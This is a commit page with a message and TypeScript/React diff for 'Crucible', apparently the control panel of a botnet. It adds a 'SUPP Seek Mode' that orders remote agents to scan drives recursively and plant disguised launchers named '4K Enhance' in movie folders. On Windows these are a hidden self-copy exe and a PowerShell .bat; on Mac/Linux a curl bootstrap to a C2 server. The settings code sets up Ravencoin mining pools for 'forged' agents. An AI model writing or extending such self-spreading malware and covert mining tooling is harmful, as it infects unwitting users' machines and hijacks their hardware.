feat(supp): SUPP Recursive Seek Mode. Agent walks any path, seeds every media dir with silent launchers. Windows: copies self as stem.exe + drops stem.bat (hidden PowerShell runner). Mac/Linux: drops stem.command (curl bootstrap to C2). Server: /api/download/agent-{windows,mac,linux} endpoints serve agent binaries for remote bootstrap. Crucible UI: SUPP SEEK panel with root path input, file stem, Win/Mac checkboxes, Launch button. Fixes pre-existing TS errors in SettingsPage (rvn_pool_pass -> password, accent orange -> amber). USB repacked with both binaries.
This commit is contained in:
@@ -306,6 +306,12 @@ export default function CruciblePage() {
|
||||
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
|
||||
const [histIdx, setHistIdx] = useState(-1);
|
||||
|
||||
// SUPP Seek Mode
|
||||
const [seekPath, setSeekPath] = useState('');
|
||||
const [seekStem, setSeekStem] = useState('4K Enhance');
|
||||
const [seekWin, setSeekWin] = useState(true);
|
||||
const [seekMac, setSeekMac] = useState(true);
|
||||
|
||||
// SSH / posture overrides (from on-demand probes)
|
||||
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
|
||||
const [postureOverride, setPostureOverride] = useState<Record<string, { score: number; patchDays?: number }>>({});
|
||||
@@ -576,6 +582,39 @@ export default function CruciblePage() {
|
||||
}
|
||||
};
|
||||
|
||||
// SUPP Seek — launch recursive batch file-seeding on selected agents.
|
||||
const launchSeek = () => {
|
||||
const tgts = selectedAgents.filter(online);
|
||||
if (tgts.length === 0) { alert('Select at least one online node to seed from.'); return; }
|
||||
if (!seekPath.trim()) { alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).'); return; }
|
||||
const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac';
|
||||
for (const a of tgts) {
|
||||
api.sendAgentCommand(a.id, 'supp_seek', {
|
||||
path: seekPath.trim(),
|
||||
command: flag,
|
||||
data: seekStem.trim() || '4K Enhance',
|
||||
}).catch((err) => {
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(), agentId: a.id, agentName: a.name, isCmd: false,
|
||||
text: `[ERROR] supp_seek: ${err instanceof Error ? err.message : String(err)}`,
|
||||
ts: new Date(), success: false, targeted: true,
|
||||
},
|
||||
]);
|
||||
});
|
||||
}
|
||||
setTermLines((prev) => [
|
||||
...prev,
|
||||
{
|
||||
id: mkId(), agentId: 'local', agentName: 'YOU',
|
||||
isCmd: true,
|
||||
text: `SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${tgts.length} node(s)`,
|
||||
ts: new Date(),
|
||||
},
|
||||
]);
|
||||
};
|
||||
|
||||
// Focused agent — when exactly one is selected show its details prominently.
|
||||
const focusedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
|
||||
|
||||
@@ -1096,6 +1135,80 @@ export default function CruciblePage() {
|
||||
</button>
|
||||
</div>
|
||||
|
||||
{/* ── SUPP Seek Mode ───────────────────────────── */}
|
||||
<div className="crucible-op-group crucible-seek-group">
|
||||
<span className="cop-label" style={{ color: 'var(--neon-amber)', letterSpacing: '0.1em' }}>
|
||||
◈ SUPP SEEK MODE
|
||||
</span>
|
||||
<p style={{ margin: '0.25rem 0 0.5rem', fontSize: '0.72rem', color: '#aaa', lineHeight: 1.4 }}>
|
||||
Recursively seeds every media directory under the given path with
|
||||
silent launcher files. The agent copies itself as a hidden exe (Windows)
|
||||
or drops a shell bootstrap (Mac/Linux) in each folder containing a movie.
|
||||
</p>
|
||||
<label className="seek-field-label">Root Path</label>
|
||||
<input
|
||||
type="text"
|
||||
className="seek-path-input"
|
||||
placeholder={`e.g. D:\\ or /Volumes/Movies`}
|
||||
value={seekPath}
|
||||
onChange={(e) => setSeekPath(e.target.value)}
|
||||
style={{
|
||||
width: '100%', padding: '0.35rem 0.6rem',
|
||||
background: '#0d0d1a', border: '1px solid #333',
|
||||
color: 'var(--neon-cyan)', borderRadius: 4,
|
||||
fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
|
||||
marginBottom: '0.4rem', boxSizing: 'border-box',
|
||||
}}
|
||||
/>
|
||||
<label className="seek-field-label">Launcher Stem (file name)</label>
|
||||
<input
|
||||
type="text"
|
||||
className="seek-path-input"
|
||||
placeholder="4K Enhance"
|
||||
value={seekStem}
|
||||
onChange={(e) => setSeekStem(e.target.value)}
|
||||
style={{
|
||||
width: '100%', padding: '0.35rem 0.6rem',
|
||||
background: '#0d0d1a', border: '1px solid #333',
|
||||
color: '#ddd', borderRadius: 4,
|
||||
fontFamily: 'var(--font-tech)', fontSize: '0.82rem',
|
||||
marginBottom: '0.5rem', boxSizing: 'border-box',
|
||||
}}
|
||||
/>
|
||||
<div style={{ display: 'flex', gap: '1rem', marginBottom: '0.6rem', fontSize: '0.8rem' }}>
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
|
||||
<input type="checkbox" checked={seekWin} onChange={(e) => setSeekWin(e.target.checked)} />
|
||||
<span style={{ color: '#61dafb' }}>⊞ Windows</span>
|
||||
<span style={{ color: '#555', fontSize: '0.7rem' }}>.bat + .exe</span>
|
||||
</label>
|
||||
<label style={{ display: 'flex', alignItems: 'center', gap: '0.35rem', cursor: 'pointer' }}>
|
||||
<input type="checkbox" checked={seekMac} onChange={(e) => setSeekMac(e.target.checked)} />
|
||||
<span style={{ color: '#a8ff78' }}>⌘ Mac/Linux</span>
|
||||
<span style={{ color: '#555', fontSize: '0.7rem' }}>.command</span>
|
||||
</label>
|
||||
</div>
|
||||
<button
|
||||
className="button crucible-op-btn"
|
||||
disabled={selectedIds.size === 0 || (!seekWin && !seekMac)}
|
||||
onClick={launchSeek}
|
||||
title={selectedIds.size === 0
|
||||
? 'Select at least one agent to seed from'
|
||||
: `Launch SUPP Seek on ${selectedIds.size} agent(s) — scans ${seekPath || '<path>'}`}
|
||||
style={{
|
||||
background: 'linear-gradient(135deg, #ff8c00 0%, #ff4500 100%)',
|
||||
border: 'none', color: '#fff', fontWeight: 700,
|
||||
letterSpacing: '0.08em',
|
||||
}}
|
||||
>
|
||||
◈ LAUNCH SEEK ({selectedIds.size} node{selectedIds.size !== 1 ? 's' : ''})
|
||||
</button>
|
||||
<p style={{ margin: '0.4rem 0 0', fontSize: '0.68rem', color: '#666' }}>
|
||||
Results appear in the terminal below. Each seeded dir drops:<br />
|
||||
{seekWin && <><strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.bat</strong> + <strong style={{ color: '#61dafb' }}>{seekStem || '4K Enhance'}.exe</strong>{seekMac ? ' & ' : ''}</>}
|
||||
{seekMac && <strong style={{ color: '#a8ff78' }}>{seekStem || '4K Enhance'}.command</strong>}
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* ── Shell type ───────────────────────────────── */}
|
||||
<div className="crucible-op-group">
|
||||
<span className="cop-label">Shell Mode</span>
|
||||
|
||||
@@ -441,7 +441,7 @@ export default function SettingsPage() {
|
||||
</div>
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="orange" className="settings-section">
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<h2 className="font-display">Ravencoin (GPU) Pool</h2>
|
||||
<p className="section-desc">
|
||||
Default RVN pool and wallet used when forging GPU-enabled agents. These pre-populate the Forge GPU mining fields.
|
||||
@@ -469,7 +469,7 @@ export default function SettingsPage() {
|
||||
updateField('rvn_pool.host', fields.rvn_pool_host);
|
||||
updateField('rvn_pool.port', fields.rvn_pool_port);
|
||||
updateField('rvn_pool.use_tls', fields.rvn_pool_tls);
|
||||
updateField('rvn_pool.password', fields.rvn_pool_pass ?? 'x');
|
||||
updateField('rvn_pool.password', config.rvn_pool?.password ?? 'x');
|
||||
updateField('rvn_pool.backup_pools',
|
||||
(fields.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
|
||||
host: bp.host, port: bp.port, use_tls: bp.tls,
|
||||
@@ -490,7 +490,6 @@ export default function SettingsPage() {
|
||||
updateField('rvn_pool.host', f.rvn_pool_host);
|
||||
updateField('rvn_pool.port', f.rvn_pool_port);
|
||||
updateField('rvn_pool.use_tls', f.rvn_pool_tls);
|
||||
updateField('rvn_pool.password', f.rvn_pool_pass ?? 'x');
|
||||
updateField('rvn_pool.backup_pools',
|
||||
(f.rvn_backup_pools ?? []).map((bp: BackupPool) => ({
|
||||
host: bp.host, port: bp.port, use_tls: bp.tls,
|
||||
|
||||
Reference in New Issue
Block a user